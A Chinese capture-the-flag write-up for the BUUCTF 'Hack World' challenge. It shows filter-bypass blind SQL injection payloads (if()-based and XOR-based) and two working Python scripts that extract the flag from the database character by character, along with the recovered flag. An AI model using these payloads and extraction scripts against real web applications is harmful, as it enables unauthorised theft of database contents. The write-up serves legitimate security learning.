目录
分析
表名跟字段名提示都给了,burpsuite抓包查询点,上fuzz跑,看看过滤了那些关键字
长度为482的包都被过滤掉了,过滤得挺少,但是呢,输入两个关键字的时候却检测到SQL注入,所以这题还是组合过滤,无论怎样都不能出现单引号和#的组合,单引号和;的组合,而且(select)没被过滤掉,这就过滤掉了许多方法以及空格,空格可以用括号绕过,绕过思路具体可参考
法一
测试的时候发现能用if
if(1,1,2)
用布尔盲注,先试一下拆解数据库名
if(ascii(substr((select(database())),1,1))>32,1,2)
回显id为1的情况,说明能用,直接猜字段
if(ascii(substr((select(flag)from(flag)),1,1))>32,1,2)
说明能用,再用二分法写个python脚本
#buuctf web Hack World
import requests
url = "http://3bdb8fd8-acb8-4230-96d0-3845226525ba.node4.buuoj.cn:81/index.php"
flag = ""
i = 0
while True:
i = i + 1
letf = 32
right = 127
while letf < right:
mid = (letf+right) // 2
payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"
data = {"id":payload}
res = requests.post(url=url, data=data).text
if "Hello" in res:
letf = mid + 1
else:
right = mid
if letf != 32:
flag += chr(letf)
print(flag)
else:
break
跑完后得到flag
flag{dda27733-1184-415d-8dba-5e9597491181}
法二
看了别人的wp,还能用一种方法,异或运算,可参考
先测试一下,查询0的时候为
查询1的时候为
可以构造payload
0^(ascii(substr(database(),1,1))>0)
回显
所以写个脚本
#buuctf web Hack World
from turtle import right
import requests
url = "http://3bdb8fd8-acb8-4230-96d0-3845226525ba.node4.buuoj.cn:81/index.php"
flag = ""
i = 0
while True:
i = i + 1
letf = 32
right = 127
while letf < right:
mid = (letf+right) // 2
payload = f"0^(ascii(substr((select(flag)from(flag)),{i},1))>{mid})"
data = {"id":payload}
res = requests.post(url=url,data=data).text
if "Hello" in res:
letf = mid + 1
else:
right = mid
if letf != 32:
flag += chr(letf)
print(flag)
else:
break